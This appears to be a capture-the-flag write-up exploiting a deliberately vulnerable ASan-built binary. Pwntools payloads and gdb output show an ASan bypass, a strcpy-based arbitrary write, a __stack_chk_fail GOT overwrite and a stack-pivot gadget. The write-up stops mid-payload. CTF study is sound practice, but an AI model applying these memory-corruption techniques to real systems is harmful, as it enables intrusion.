Damn Vulnerable Box (asan)

Description

Damn!

Attachment: damn.tar.gz xpl.py

Team: rbtree fan club

----------------------------------------------
    
   ██████╗  █████╗ ███╗   ███╗███╗   ██╗    
   ██╔══██╗██╔══██╗████╗ ████║████╗  ██║    
   ██║  ██║███████║██╔████╔██║██╔██╗ ██║    
   ██║  ██║██╔══██║██║╚██╔╝██║██║╚██╗██║    
   ██████╔╝██║  ██║██║ ╚═╝ ██║██║ ╚████║    
   ╚═════╝ ╚═╝  ╚═╝╚═╝     ╚═╝╚═╝  ╚═══╝    
   
   ██╗   ██╗██╗   ██╗██╗     ███╗   ██╗███████╗██████╗  █████╗ ██████╗ ██╗     ███████╗ 
   ██║   ██║██║   ██║██║     ████╗  ██║██╔════╝██╔══██╗██╔══██╗██╔══██╗██║     ██╔════╝ 
   ██║   ██║██║   ██║██║     ██╔██╗ ██║█████╗  ██████╔╝███████║██████╔╝██║     █████╗   
   ╚██╗ ██╔╝██║   ██║██║     ██║╚██╗██║██╔══╝  ██╔══██╗██╔══██║██╔══██╗██║     ██╔══╝   
    ╚████╔╝ ╚██████╔╝███████╗██║ ╚████║███████╗██║  ██║██║  ██║██████╔╝███████╗███████╗ 
     ╚═══╝   ╚═════╝ ╚══════╝╚═╝  ╚═══╝╚══════╝╚═╝  ╚═╝╚═╝  ╚═╝╚═════╝ ╚══════╝╚══════╝
   
   ██████╗  ██████╗ ██╗  ██╗             
   ██╔══██╗██╔═══██╗╚██╗██╔╝             
   ██████╔╝██║   ██║ ╚███╔╝              
   ██╔══██╗██║   ██║ ██╔██╗              
   ██████╔╝╚██████╔╝██╔╝ ██╗             
   ╚═════╝  ╚═════╝ ╚═╝  ╚═╝             
   
----------------------------------------------
                                              
-=[ Short-cut exploit menu ]=-
 
1. Use-after-free
2. Double-free
3. Global Buffer-overflow
4. Stack Buffer-overflow
5. Format string
6. File download
7. NULL ptr access

>

The binary had some bugs “built in”, but most of them were not usable, because it was protected with ASAN and directly failed when executed.

On every option, we’re asked for user input and then the corresponding bug will be triggered.

-=[ Short-cut exploit menu ]=-
 
1. Use-after-free
2. Double-free
3. Global Buffer-overflow
4. Stack Buffer-overflow
5. Format string
6. File download
7. NULL ptr access

> 1
userinput> AAAABBBBBBBBBB
=================================================================
==6975==ERROR: AddressSanitizer: heap-use-after-free on address 0x607000000020 at pc 0x000000480cfe bp 0x7ffc904dbe30 sp 0x7ffc904db5f0
WRITE of size 15 at 0x607000000020 thread T0
==6975==WARNING: invalid path to external symbolizer!
==6975==WARNING: Failed to use and restart external symbolizer!
    #0 0x480cfd  (/home/kileak/ctf/line/damn/box+0x480cfd)
    #1 0x4c7e04  (/home/kileak/ctf/line/damn/box+0x4c7e04)
    #2 0x7febdcfb4cb1  (/lib/x86_64-linux-gnu/libc.so.6+0x28cb1)
    #3 0x41c47d  (/home/kileak/ctf/line/damn/box+0x41c47d)

0x607000000020 is located 0 bytes inside of 80-byte region [0x607000000020,0x607000000070)
freed by thread T0 here:
    #0 0x49493d  (/home/kileak/ctf/line/damn/box+0x49493d)
    #1 0x4c7de9  (/home/kileak/ctf/line/damn/box+0x4c7de9)
    #2 0x7febdcfb4cb1  (/lib/x86_64-linux-gnu/libc.so.6+0x28cb1)

previously allocated by thread T0 here:
    #0 0x494bbd  (/home/kileak/ctf/line/damn/box+0x494bbd)
    #1 0x4c7dde  (/home/kileak/ctf/line/damn/box+0x4c7dde)
    #2 0x7febdcfb4cb1  (/lib/x86_64-linux-gnu/libc.so.6+0x28cb1)

SUMMARY: AddressSanitizer: heap-use-after-free (/home/kileak/ctf/line/damn/box+0x480cfd) 
Shadow bytes around the buggy address:
  0x0c0e7fff7fb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c0e7fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c0e7fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c0e7fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c0e7fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c0e7fff8000: fa fa fa fa[fd]fd fd fd fd fd fd fd fd fd fa fa
  0x0c0e7fff8010: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c0e7fff8020: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c0e7fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c0e7fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c0e7fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==6975==ABORTING

While most of them cannot be turned into something useful, the main scanf, asking for user input provided on every bug looks promising.

Simply trying to overflow user input, asan detects and aborts it.

#!/usr/bin/python
from pwn import *
import sys

LOCAL = True

HOST = "35.221.91.124"
PORT = 10008

def globuf(user):
	r.sendline("3")
	r.sendlineafter("> ", user)
	r.recvuntil("> ")

def stack(user):
	r.sendline("4")
	r.sendlineafter("> ", user)

def exploit(r):
	r.recvuntil("> ")
		
	payload = cyclic_metasploit(1000)

	stack(payload)

	r.interactive()

	return

if __name__ == "__main__":
	e = ELF("./box")

	if len(sys.argv) > 1:
		LOCAL = False
		r = remote(HOST, PORT)
		exploit(r)
	else:
		LOCAL = True
		r = process("./box")
		print (util.proc.pidof(r))
		pause()
		exploit(r)
[*] '/home/kileak/ctf/line/damn/box'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    ASAN:     Enabled
    UBSAN:    Enabled
[+] Starting local process './box': pid 7311
[7311]
[*] Paused (press any to continue)
[*] Switching to interactive mode
=================================================================
==7311==ERROR: AddressSanitizer: strcpy-param-overlap: memory ranges [0x7ffd833e1680,0x7ffd833e1a69) and [0x7ffd833e1720, 0x7ffd833e1b09) overlap
==7311==WARNING: invalid path to external symbolizer!
==7311==WARNING: Failed to use and restart external symbolizer!
    #0 0x480a2a  (/home/kileak/ctf/line/damn/box+0x480a2a)
    #1 0x4c7e7e  (/home/kileak/ctf/line/damn/box+0x4c7e7e)
    #2 0x7fe44ab28cb1  (/lib/x86_64-linux-gnu/libc.so.6+0x28cb1)
    #3 0x41c47d  (/home/kileak/ctf/line/damn/box+0x41c47d)

Address 0x7ffd833e1680 is located in stack of thread T0 at offset 32 in frame
    #0 0x4c7b7f  (/home/kileak/ctf/line/damn/box+0x4c7b7f)

  This frame has 3 object(s):
    [32, 160) 'local_buf.i' <== Memory access at offset 32 partially overflows this variable
    [192, 1216) 'buf' <== Memory access at offset 32 partially underflows this variable
    [1344, 1348) 'm'
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
      (longjmp and C++ exceptions *are* supported)
Address 0x7ffd833e1720 is located in stack of thread T0 at offset 192 in frame
    #0 0x4c7b7f  (/home/kileak/ctf/line/damn/box+0x4c7b7f)

  This frame has 3 object(s):
    [32, 160) 'local_buf.i'
    [192, 1216) 'buf' <== Memory access at offset 192 is inside this variable
    [1344, 1348) 'm'
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
      (longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: strcpy-param-overlap (/home/kileak/ctf/line/damn/box+0x480a2a) 
==7311==ABORTING

This happens because our user input will be copied via strcpy, where asan detects the overflow.

But, if our user input contains a null byte before the overflowing data, strcpy will not rise an asan exception anymore and the binary will just try to cleanup the asan stack and exit.

payload = p64(0x48)
payload += cyclic_metasploit(3000-len(payload))
Program received signal SIGSEGV, Segmentation fault.
0x00000000004c7f99 in main ()
───────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x42346f42336f4232 ("2Bo3Bo4B"?)
$rbx   : 0x00007fffffffddc0  →  "Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo[...]"
$rcx   : 0x00000000ffffdd03  →  0x0000000000000000
$rdx   : 0x80              
$rsp   : 0x00007fffffffd860  →  0x0000000041b58ab3
$rbp   : 0x00007fffffffde60  →  "s5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1[...]"
$rsi   : 0xf8              
$rdi   : 0x000010007fff7b24  →  0xf8f8f8f8f8f8f8f8
$rip   : 0x00000000004c7f99  →  <main+1065> mov QWORD PTR [rax], 0x45e0360e
$r8    : 0x00007fffffffd6f0  →  0x0000000000000000
$r9    : 0x0               
$r10   : 0x00007ffff7b403c0  →  0x0002000200020002
$r11   : 0x246             
$r12   : 0x00007fffffffdda0  →  "m1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7[...]"
$r13   : 0x00000000ffffffff  →  0x0000000000000000
$r14   : 0x000010007fff7b0c  →  0xf8f8f8f8f1f1f1f1
$r15   : 0x00000ffffffffbb4  →  0x0000000000000000
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 
─────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
     0x4c7f8b <main+1051>      mov    esi, 0x80
     0x4c7f90 <main+1056>      call   0x4978e0 <__asan_set_shadow_f8>
     0x4c7f95 <main+1061>      mov    rax, QWORD PTR [rbx+0x20]
 →   0x4c7f99 <main+1065>      mov    QWORD PTR [rax], 0x45e0360e
     0x4c7fa0 <main+1072>      mov    rdi, QWORD PTR [rbx+0x28]
     0x4c7fa4 <main+1076>      test   rdi, rdi
     0x4c7fa7 <main+1079>      je     0x4c7fb5 <main+1093>
     0x4c7fa9 <main+1081>      mov    esi, 0x560
     0x4c7fae <main+1086>      call   0x42ab10 <__asan_stack_free_5>
───────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffd860│+0x0000: 0x0000000041b58ab3	 ← $rsp
0x00007fffffffd868│+0x0008: 0x00000000004dd569  →  "3 32 128 11 local_buf.i 192 1024 3 buf 1344 4 1 m"
0x00007fffffffd870│+0x0010: 0x00000000004c7b70  →  <main+0> push rbp
0x00007fffffffd878│+0x0018: 0x00007ffff6b10e60  →  0x00007ffff7da8035  →  "GLIBC_2.2.5"
0x00007fffffffd880│+0x0020: 0x0000000000401f8c  →  0x23ea6d8c0d39ad3d
0x00007fffffffd888│+0x0028: 0x00007ffff7fd9b3a  →   add rsp, 0x30
────────────────────────────────────────────────────────────────────────────────────────────────────

The cleanup though will still segfault, because rax cannot be dereferenced. So, let’s put a valid pointer there.

0x00000000004c7fae in ?? ()
───────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x00000000004fb5c0  →  0x0000000045e0360e
$rbx   : 0x00007fffffffddc0  →  0x6e42336e42326e42 ("Bn2Bn3Bn"?)
$rcx   : 0x00000000ffffdd03  →  0x0000000000000000
$rdx   : 0x80              
$rsp   : 0x00007fffffffd860  →  0x0000000041b58ab3
$rbp   : 0x00007fffffffde60  →  "Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af[...]"
$rsi   : 0x560             
$rdi   : 0x6141316141306141 ("Aa0Aa1Aa"?)
$rip   : 0x00000000004c7fae  →   call 0x42ab10
$r8    : 0x00007fffffffd6f0  →  0x0000000000000000
$r9    : 0x0               
$r10   : 0x00007ffff7b403c0  →  0x0002000200020002
$r11   : 0x246             
$r12   : 0x00007fffffffdda0  →  "m1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7[...]"
$r13   : 0x00000000ffffffff  →  0x0000000000000000
$r14   : 0x000010007fff7b0c  →  0xf8f8f8f8f1f1f1f1
$r15   : 0x00000ffffffffbb4  →  0x0000000000000000
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 
─────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
     0x4c7fa4                  test   rdi, rdi
     0x4c7fa7                  je     0x4c7fb5
     0x4c7fa9                  mov    esi, 0x560
 →   0x4c7fae                  call   0x42ab10
   ↳    0x42ab10                  push   rax
        0x42ab11                  mov    rax, QWORD PTR [rdi+0x7f8]
        0x42ab18                  mov    BYTE PTR [rax], 0x0
        0x42ab1b                  cmp    rdi, 0x7fff8000
        0x42ab22                  jb     0x42abe6
        0x42ab28                  lea    rax, [rip+0xe7fe1]        # 0x512b10

We’re passing the check, and the binary will now try to call _asan_stack_free_5(v0x6141316141306141 0x560);, which then will segfault on

Program received signal SIGSEGV, Segmentation fault.
0x000000000042ab11 in __asan_stack_free_5 ()
───────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x00000000004fb5c0  →  0x0000000045e0360e
$rbx   : 0x00007fffffffddc0  →  0x6e42336e42326e42 ("Bn2Bn3Bn"?)
$rcx   : 0x00000000ffffdd03  →  0x0000000000000000
$rdx   : 0x80              
$rsp   : 0x00007fffffffd850  →  0x00000000004fb5c0  →  0x0000000045e0360e
$rbp   : 0x00007fffffffde60  →  "Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af[...]"
$rsi   : 0x560             
$rdi   : 0x6141316141306141 ("Aa0Aa1Aa"?)
$rip   : 0x000000000042ab11  →  <__asan_stack_free_5+1> mov rax, QWORD PTR [rdi+0x7f8]
$r8    : 0x00007fffffffd6f0  →  0x0000000000000000
$r9    : 0x0               
$r10   : 0x00007ffff7b403c0  →  0x0002000200020002
$r11   : 0x246             
$r12   : 0x00007fffffffdda0  →  "m1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7[...]"
$r13   : 0x00000000ffffffff  →  0x0000000000000000
$r14   : 0x000010007fff7b0c  →  0xf8f8f8f8f1f1f1f1
$r15   : 0x00000ffffffffbb4  →  0x0000000000000000
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 
─────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
     0x42ab08 <__asan_stack_malloc_5+936> call   0x4b1240 <_ZN11__sanitizer11CheckFailedEPKciS1_yy>
     0x42ab0d                  nop    DWORD PTR [rax]
     0x42ab10 <__asan_stack_free_5+0> push   rax
 →   0x42ab11 <__asan_stack_free_5+1> mov    rax, QWORD PTR [rdi+0x7f8]
     0x42ab18 <__asan_stack_free_5+8> mov    BYTE PTR [rax], 0x0
     0x42ab1b <__asan_stack_free_5+11> cmp    rdi, 0x7fff8000
     0x42ab22 <__asan_stack_free_5+18> jb     0x42abe6 <__asan_stack_free_5+214>
     0x42ab28 <__asan_stack_free_5+24> lea    rax, [rip+0xe7fe1]        # 0x512b10 <_ZN6__asan10kMidMemBegE>
     0x42ab2f <__asan_stack_free_5+31> mov    rsi, QWORD PTR [rax]
───────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffd850│+0x0000: 0x00000000004fb5c0  →  0x0000000045e0360e	 ← $rsp
0x00007fffffffd858│+0x0008: 0x00000000004c7fb3  →  <main+1091> jmp 0x4c7fc2 <main+1106>
0x00007fffffffd860│+0x0010: 0x0000000041b58ab3
0x00007fffffffd868│+0x0018: 0x00000000004dd569  →  "3 32 128 11 local_buf.i 192 1024 3 buf 1344 4 1 m"
0x00007fffffffd870│+0x0020: 0x00000000004c7b70  →  <main+0> push rbp
0x00007fffffffd878│+0x0028: 0x00007ffff6b10e60  →  0x00007ffff7da8035  →  "GLIBC_2.2.5"
────────────────────────────────────────────────────────────────────────────────────────────────────

Since we control rdi, this could also be used as a null byte write (by the following mov BYTE PTR [rax], 0x0). If we put an address in memory and point rdi to that address - 0x7f8, it would just write one null byte there.

But for now, let’s just point it to some address, to avoid the segfault.

payload = p64(0x48)
payload += cyclic_metasploit(1208)
payload += p64(0x4fb5c0)
payload += p64(0xe24aa0-0x7f8)						# _Z12pagefilenameB5cxx11
payload += cyclic_metasploit(3000-len(payload))
[*] '/home/kileak/ctf/line/damn/box'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    ASAN:     Enabled
    UBSAN:    Enabled
[+] Starting local process './box': pid 9250
[9250]
[*] Paused (press any to continue)
[*] Switching to interactive mode
*** stack smashing detected ***: terminated

Ok, no more asan failures, seems we got around asan and only failed because we overwrote the canary, which resulted in a normal stack smashing detection.

If we could only leak the canary, this would have already been finished. But didn’t find any leaks, so we have to find another way around this.

Noticed then, that it doesn’t seem to execute the strcpy at all anymore, let’s check the switch case, what went wrong there.

───────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x6d42316c        
$rbx   : 0x00007fffffffddc0  →  0x6e42336e42326e42 ("Bn2Bn3Bn"?)
$rcx   : 0x00000000ffffdd03  →  0x0000000000000000
$rdx   : 0x1               
$rsp   : 0x00007fffffffd860  →  0x0000000041b58ab3
$rbp   : 0x00007fffffffde60  →  "d7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3[...]"
$rsi   : 0x1               
$rdi   : 0x00007fffffffd920  →  0x0000000000000048 ("H"?)
$rip   : 0x00000000004c7dc5  →  <main+597> cmp eax, 0x6
$r8    : 0x00007fffffffd6f0  →  0x0000000000000000
$r9    : 0x0               
$r10   : 0x00007ffff7b403c0  →  0x0002000200020002
$r11   : 0x246             
$r12   : 0x00007fffffffdda0  →  "m1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7[...]"
$r13   : 0x0               
$r14   : 0x000010007fff7b0c  →  0xf8f8f8f8f1f1f1f1
$r15   : 0x00000ffffffffbb4  →  0x0000000000000000
$eflags: [zero CARRY PARITY ADJUST sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 
─────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
     0x4c7db8 <main+584>       jne    0x4c7f40 <main+976>
     0x4c7dbe <main+590>       mov    eax, DWORD PTR [r12]    <== eax coming from r12
     0x4c7dc2 <main+594>       add    eax, 0xffffffff
 →   0x4c7dc5 <main+597>       cmp    eax, 0x6
     0x4c7dc8 <main+600>       ja     0x4c7f7f <main+1039>
     0x4c7dce <main+606>       jmp    QWORD PTR [rax*8+0x4dbec0]
     0x4c7dd5 <main+613>       mov    edi, 0x50
     0x4c7dda <main+618>       call   0x494b20 <malloc>
     0x4c7ddf <main+623>       mov    r14, rax

We’re also overwriting the menu choice, thus just jumping into the default exitting the application. Let’s fix this, so it will go into the stack overflow block again calling strcpy.

payload = p64(0x48)
payload += cyclic_metasploit(1144)
payload += p64(0x4)                             # menu choice
payload += cyclic_metasploit(1216-len(payload))
payload += p64(0x4fb5c0)
payload += p64(0xe24aa0-0x7f8)                  # _Z12pagefilenameB5cxx11
payload += cyclic_metasploit(3000-len(payload))
$rax   : 0x3               
$rbx   : 0x00007fffffffddc0  →  0x6241396141386141 ("Aa8Aa9Ab"?)
$rcx   : 0x00000000ffffdd03  →  0x0000000000000000
$rdx   : 0x1               
$rsp   : 0x00007fffffffd860  →  0x0000000041b58ab3
$rbp   : 0x00007fffffffde60  →  "d7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3[...]"
$rsi   : 0x4132624131624130 ("0Ab1Ab2A"?)
$rdi   : 0x6241376241366241 ("Ab6Ab7Ab"?)
$rip   : 0x00000000004c7e7a  →  <main+778> call 0x480970 <strcpy>
$r8    : 0x00007fffffffd6f0  →  0x0000000000000000
$r9    : 0x0               
$r10   : 0x00007ffff7b403c0  →  0x0002000200020002
$r11   : 0x246             
$r12   : 0x00007fffffffdda0  →  0x0000000000000004
$r13   : 0x0               
$r14   : 0x000010007fff7b0c  →  0x00000000f1f1f1f1  →  0x0000000000000000
$r15   : 0x00000ffffffffbb4  →  0x0000000000000000
$eflags: [zero CARRY parity ADJUST SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 
─────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
     0x4c7e6d <main+765>       movups XMMWORD PTR [r14+0x4], xmm0
     0x4c7e72 <main+770>       mov    rdi, QWORD PTR [rbx+0x18]
     0x4c7e76 <main+774>       mov    rsi, QWORD PTR [rbx+0x8]
 →   0x4c7e7a <main+778>       call   0x480970 <strcpy>
   ↳    0x480970 <strcpy+0>       push   rbp
        0x480971 <strcpy+1>       mov    rbp, rsp
        0x480974 <strcpy+4>       push   r15
        0x480976 <strcpy+6>       push   r14
        0x480978 <strcpy+8>       push   r13
        0x48097a <strcpy+10>      push   r12

Calling strcpy again and even better, we’re controlling rdi and rsi! We have an arbitrary write here :)

We can use this now to overwrite __stack_chk_fail@got to do something more useful. We just need the content, we want to copy over the got entry somewhere in memory at a known position.

Thankfully, there is the Global Buffer-overflow, which will just copy our input into global_buf on bss.

So we can put the gadget, we want to be executed, into the global buffer and then use the strcpy to copy it into __stack_chk_fail@got.

log.info("Put gadget into global buffer")

globuf(p64(0xdeadbeef))

log.info("Trigger stack overflow")

payload = p64(0x48)
payload += cyclic_metasploit(1144)
payload += p64(0x4)                           # menu choice
payload += cyclic_metasploit(32)
payload += p64(e.symbols["global_buf"])       # strcpy rsi
payload += "A"*8
payload += p64(e.got["__stack_chk_fail"])     # strcpy rdi	
payload += p64(0x4fb5c0)
payload += p64(0xe24aa0-0x7f8)                # _Z12pagefilenameB5cxx11
payload += cyclic_metasploit(3000-len(payload))
gef➤  x/gx 0x00000000004fb058
0x4fb058 <__stack_chk_fail@got.plt>:	0x00000000deadbeef

We have successfully overwritten __stack_chk_fail@got now, but we run into the next segfault.

Program received signal SIGSEGV, Segmentation fault.
0x00000000004c7d36 in main ()
───────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x6141316141306141 ("Aa0Aa1Aa"?)
$rbx   : 0x00007fffffffddc0  →  0x6241396141386141 ("Aa8Aa9Ab"?)
$rcx   : 0x0               
$rdx   : 0x00007ffff6940a00  →  0x00007ffff6940a00  →  [loop detected]
$rsp   : 0x00007fffffffd860  →  0x0000000041b58ab3
$rbp   : 0x00007fffffffde60  →  "d7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3[...]"
$rsi   : 0x0               
$rdi   : 0x00007fffffffb5d0  →  0x00007ffff7bd7b50  →  <funlockfile+0> endbr64 
$rip   : 0x00000000004c7d36  →  <main+454> cmp BYTE PTR [rax+0x7fff8000], 0x0
$r8    : 0x3               
$r9    : 0x0               
$r10   : 0x00007ffff7b403c0  →  0x0002000200020002
$r11   : 0x246             
$r12   : 0x00007fffffffdda0  →  0x0000000000000004
$r13   : 0x1               
$r14   : 0x000010007fff7b0c  →  0xf8f8f8f8f1f1f1f1
$r15   : 0x00000ffffffffbb4  →  0x0000000000000000
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 
─────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
     0x4c7d2b <main+443>       xor    eax, eax
     0x4c7d2d <main+445>       call   0x43bf70 <printf>
     0x4c7d32 <main+450>       mov    rax, QWORD PTR [rbx+0x30]
 →   0x4c7d36 <main+454>       cmp    BYTE PTR [rax+0x7fff8000], 0x0
     0x4c7d3d <main+461>       jne    0x4c7fe2 <main+1138>
     0x4c7d43 <main+467>       mov    rdi, QWORD PTR [rip+0x36ab6]        # 0x4fe800 <stdout@@GLIBC_2.2.5>
     0x4c7d4a <main+474>       call   0x46bdc0 <fflush>
     0x4c7d4f <main+479>       movzx  eax, BYTE PTR [r15+0x7fff8000]
     0x4c7d57 <main+487>       test   al, al

Nothing, a valid pointer couldn’t fix ;-)

payload = p64(0x48)
payload += cyclic_metasploit(1144)
payload += p64(0x4)                         # menu choice
payload += cyclic_metasploit(32)
payload += p64(e.symbols["global_buf"])     # strcpy rsi
payload += "A"*8
payload += p64(e.got["__stack_chk_fail"])   # strcpy rdi	
payload += p64(0x4fb5c0)
payload += p64(0xe24aa0-0x7f8)              # _Z12pagefilenameB5cxx11
payload += p64(0x80e1c9e0-0x7fff8000)       # random address to pass check
payload += cyclic_metasploit(3000-len(payload))
0x000000000041c0b0 in __stack_chk_fail@plt ()
───────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0xac3829215e90f400
$rbx   : 0x00007fffffffddc0  →  0x6241396141386141 ("Aa8Aa9Ab"?)
$rcx   : 0x0               
$rdx   : 0x80              
$rsp   : 0x00007fffffffd858  →  0x00000000004c803c  →   nop DWORD PTR [rax+0x0]
$rbp   : 0x00007fffffffde60  →  "4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0A[...]"
$rsi   : 0x560             
$rdi   : 0x1c4855          
$rip   : 0x000000000041c0b0  →  <__stack_chk_fail@plt+0> jmp QWORD PTR [rip+0xdefa2]        # 0x4fb058 <__stack_chk_fail@got.plt>
$r8    : 0x00007fffffffd6f0  →  0x0000000000000000
$r9    : 0x0               
$r10   : 0x00007ffff7b3fac0  →  0x0000000100000000  →  0x0000000000000000
$r11   : 0x00007ffff7b403c0  →  0x0002000200020002
$r12   : 0x00007fffffffdda0  →  0x0000000000000000
$r13   : 0x1               
$r14   : 0x000010007fff7b0c  →  0xf8f8f8f8f1f1f1f1
$r15   : 0x00000ffffffffbb4  →  0x0000000000000000
$eflags: [zero carry parity ADJUST sign trap INTERRUPT direction OVERFLOW resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 
─────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
     0x41c0a0 <alarm@plt+0>    jmp    QWORD PTR [rip+0xdefaa]        # 0x4fb050 <alarm@got.plt>
     0x41c0a6 <alarm@plt+6>    push   0x7
     0x41c0ab <alarm@plt+11>   jmp    0x41c020
 →   0x41c0b0 <__stack_chk_fail@plt+0> jmp    QWORD PTR [rip+0xdefa2]        # 0x4fb058 <__stack_chk_fail@got.plt>
     0x41c0b6 <__stack_chk_fail@plt+6> push   0x8
     0x41c0bb <__stack_chk_fail@plt+11> jmp    0x41c020
     0x41c0c0 <getuid@plt+0>   jmp    QWORD PTR [rip+0xdef9a]        # 0x4fb060 <getuid@got.plt>
     0x41c0c6 <getuid@plt+6>   push   0x9
     0x41c0cb <getuid@plt+11>  jmp    0x41c020
───────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffd858│+0x0000: 0x00000000004c803c  →   nop DWORD PTR [rax+0x0]	 ← $rsp
0x00007fffffffd860│+0x0008: 0x0000000041b58ab3
0x00007fffffffd868│+0x0010: 0x00000000004dd569  →  "3 32 128 11 local_buf.i 192 1024 3 buf 1344 4 1 m"
0x00007fffffffd870│+0x0018: 0x00000000004c7b70  →  <main+0> push rbp
0x00007fffffffd878│+0x0020: 0x00007ffff6b10e60  →  0x00007ffff7da8035  →  "GLIBC_2.2.5"
0x00007fffffffd880│+0x0028: 0x0000000000401f8c  →  0x23ea6d8c0d39ad3d
────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤  x/gx 0x4fb058
0x4fb058 <__stack_chk_fail@got.plt>:	0x00000000deadbeef

We’re passing all tests, getting back into __stack_chk_fail and jumping to our target gadget (currently 0xdeadbeef).

gef➤  x/10i 0x00000000004bf6ac
0x4bf6ac <_ZN7__ubsan15InitializeFlagsEv+220>:	add    rsp,0x100
0x4bf6b3 <_ZN7__ubsan15InitializeFlagsEv+227>:	pop    rbx
0x4bf6b4 <_ZN7__ubsan15InitializeFlagsEv+228>:	pop    r14
0x4bf6b6 <_ZN7__ubsan15InitializeFlagsEv+230>:	pop    r15
0x4bf6b8 <_ZN7__ubsan15InitializeFlagsEv+232>:	ret

This would make a good stack pivoting gadget, which will jump right into user_input.

log.info("Put gadget into global buffer")

ADDRSP110 = 0x4bf6ac

globuf(p64(ADDRSP110))

log.info("Trigger stack overflow")

payload = p64(0x48)
payload += cyclic_metasploit(1144)
payload += p64(0x4)                                 # menu choice
payload += cyclic_metasploit(32)
payload += p64(e.symbols["global_buf"])             # strcpy rsi
payload += "A"*8
payload += p64(e.got["__stack_chk_fail"])           # strcpy rdi	
payload += p64(0x4fb5c0)
